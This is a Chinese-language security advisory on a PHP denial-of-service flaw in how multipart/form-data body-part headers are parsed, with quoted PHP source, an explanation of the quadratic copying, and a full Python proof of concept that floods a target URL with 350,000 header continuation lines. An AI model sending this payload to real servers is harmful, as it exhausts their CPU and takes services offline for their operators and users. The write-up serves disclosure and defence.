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PHP multipart/form-data 远程DOS漏洞

作者:LiuShusheng_0_

0x00 摘要

PHP解析 multipart/form-datahttp 请求的body part请求头时,重复拷贝字符串导致DOS。远程攻击者通过发送恶意构造的 multipart/form-data 请求,导致服务器CPU资源被耗尽,从而远程DOS服务器。

影响范围:

PHP所有版本 

0x01 漏洞入口

PHP源码中 main/ rfc1867.c 负责解析 multipart/form-data 协议,DOS漏洞出现在 main/rfc46675pxultipart_buffer_headers 函数。

在详细分析漏洞函数前,先分析进入漏洞函数的路径。PHP解析 multipart/form-data http请求体的入口函数在 SAPI_POST_HANDLER_FUNC (rfc1867.c中的函数),代码如下。

#!c /* Get the boundary */ boundary= strstr(content_type_dup, "boundary");  if(!boundary) {  intcontent_type_len = strlen(content_type_dup);  char*content_type_lcase = estrndup(content_type_dup, content_type_len);  php_strtolower(content_type_lcase,content_type_len);  boundary= strstr(content_type_lcase, "boundary");  if(boundary) {      boundary= content_type_dup + (boundary - content_type_lcase);  }  efree(content_type_lcase);   }   if(!boundary || !(boundary = strchr(boundary, '='))) {    sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");    return;    }    boundary++;    boundary_len= strlen(boundary);    …    …    while(!multipart_buffer_eof(mbuff TSRMLS_CC))    {        charbuff[FILLUNIT];        char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;        size_tblen = 0, wlen = 0;        off_toffset;        zend_llist_clean(&header);        if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {         gotofileupload_done;        }  

SAPI_POST_HANDLER_FUNC函数首先解析请求的boundary,

0x02 漏洞函数multipart_buffer_headers执行逻辑

进入漏洞函数,本段先分析漏洞函数的执行逻辑,下一段根据函数执行逻辑详细分析漏洞的原理。 multipart_buffer_headers 函数源码如下:

#!c /* parse headers */ static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC) {  char*line;  mime_header_entryprev_entry = {0}, entry;  intprev_len, cur_len;  /*didn't find boundary, abort */  if(!find_boundary(self, self->boundary TSRMLS_CC)) {    return0;  }  /*get lines of text, or CRLF_CRLF */  while((line = get_line(self TSRMLS_CC)) && line[0] != '/0' )  {    /*add header to table */    char*key = line;    char*value = NULL;    if(php_rfc1867_encoding_translation(TSRMLS_C)) {     self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);    }    /*space in the beginning means same header */    if(!isspace(line[0])) {     value= strchr(line, ':');    }    if(value) {     *value= 0;     do{ value++; } while(isspace(*value));     entry.value= estrdup(value);     entry.key= estrdup(key);    }else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */     prev_len= strlen(prev_entry.value);     cur_len= strlen(line);     entry.value= emalloc(prev_len + cur_len + 1);     memcpy(entry.value,prev_entry.value, prev_len);     memcpy(entry.value+ prev_len, line, cur_len);     entry.value[cur_len+ prev_len] = '/0';     entry.key= estrdup(prev_entry.key);     zend_llist_remove_tail(header);    }else {     continue;    }    zend_llist_add_element(header,&entry);    prev_entry= entry;  }  return1; }  

multipart_buffer_headers 函数首先找boundary,如果找到boundary就执行以下代码,逐行读取请求的输入以解析body port header:

#!c while((line = get_line(self TSRMLS_CC)) && line[0] != '/0' ) { … } 

当使用get_line读入一行字符,如果该行第一个字符line[0]不是空白字符, 查找line是否存在':'。

如果line存在字符 ':'

value指向 ':' 所在的内存地址。这时if(value)条件成立,成功解析到(header,value)对entry。调用 zend_llist_add_element(header, &entry) 存储,并使用prev_entry记录当前解析到的header,用于解析下一行。

否则,line不存在字符 ':'

认为这一行的内容是上一行解析到header对应value的值,因此进行合并。合并操作执行以下代码。

#!c prev_len= strlen(prev_entry.value); cur_len= strlen(line);  entry.value= emalloc(prev_len + cur_len + 1); //为合并value重新分片内存 memcpy(entry.value,prev_entry.value, prev_len); //拷贝上一行解析到header对应value memcpy(entry.value+ prev_len, line, cur_len);   //把当前行作为上一行解析到header的value值,并拷贝到上一行value值得后面。 entry.value[cur_len+ prev_len] = '/0';  entry.key= estrdup(prev_entry.key);  zend_llist_remove_tail(header); 

首先,为了合并value重新分配内存,接着拷贝上一行解析到的value值到新分配的内容,然后把当前行的字符串作为上一行解析到header的value值,并拷贝到value值得后面。最后调用 zend_llist_remove_tail(header) 删除上一行的记录。执行完后获得了新的entry,调用 zend_llist_add_element(header,&entry) 记录得到的header名值对(header,value)。

0x03 漏洞原理

multipart_buffer_headers 函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符 ':' ,都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块。该代码块进行1次内存分配,2次内存拷贝,1次内存释放。当value值越来越长,将消耗大量的cpu时间。如果以拷贝一个字节为时间复杂度单位,value的长度为m,时间复杂度为m*m.

#!c prev_len= strlen(prev_entry.value);  cur_len= strlen(line);  entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存  memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝  memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝  entry.value[cur_len+ prev_len] = '/0';  entry.key= estrdup(prev_entry.key);  zend_llist_remove_tail(header);//1次内存释放  

0x04 利用

构造像以下恶意的http请求,当存在350000行 a/n 时,在我的测试环境中,一个http请求将消耗10s的cpu时间。每隔若干秒,同时并发多个请求,将导致server端cpu资源长期耗尽,从而到达DOS。总的来说,利用方式和Hash Collision DOS一样。

------WebKitFormBoundarypE33TmSNWwsMphqz Content-Disposition:form-data; name="file"; filename="s a a a … … … a" Content-Type:application/octet-stream  why is it? ------WebKitFormBoundarypE33TmSNWwsMphqz 

0x05 POC

#!python ''' Author: Shusheng Liu,The Department of Security Cloud, Baidu email: [email protected]

''' import sys import urllib,urllib2 import datetime from optparse import OptionParser def http_proxy(proxy_url): proxy_handler = urllib2.ProxyHandler({"http" : proxy_url}) null_proxy_handler = urllib2.ProxyHandler({}) opener = urllib2.build_opener(proxy_handler) urllib2.install_opener(opener) #end http_proxy def check_php_multipartform_dos(url,post_body,headers): req = urllib2.Request(url) for key in headers.keys(): req.add_header(key,headers[key]) starttime = datetime.datetime.now(); fd = urllib2.urlopen(req,post_body) html = fd.read() endtime = datetime.datetime.now() usetime=(endtime - starttime).seconds if(usetime > 5): result = url+" is vulnerable"; else: if(usetime > 3): result = "need to check normal respond time" return [result,usetime] #end def main(): #http_proxy("http://127.0.0.1:8089") parser = OptionParser() parser.add_option("-t", "--target", action="store", dest="target", default=False, type="string", help="test target") (options, args) = parser.parse_args() if(options.target): target = options.target else: return; Num=350000 headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1', 'Accept-Encoding':'gzip, deflate', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'} body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1/nContent-Disposition: form-data; name=/"file/"; filename=sp.jpg" payload="" for i in range(0,Num): payload = payload + "a/n" body = body + payload; body = body + "Content-Type: application/octet-stream/r/n/r/ndatadata/r/n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--" print "starting..."; respond=check_php_multipartform_dos(target,body,headers) print "Result : " print respond[0] print "Respond time : "+str(respond[1]) + " seconds"; if __name__=="__main__": main()

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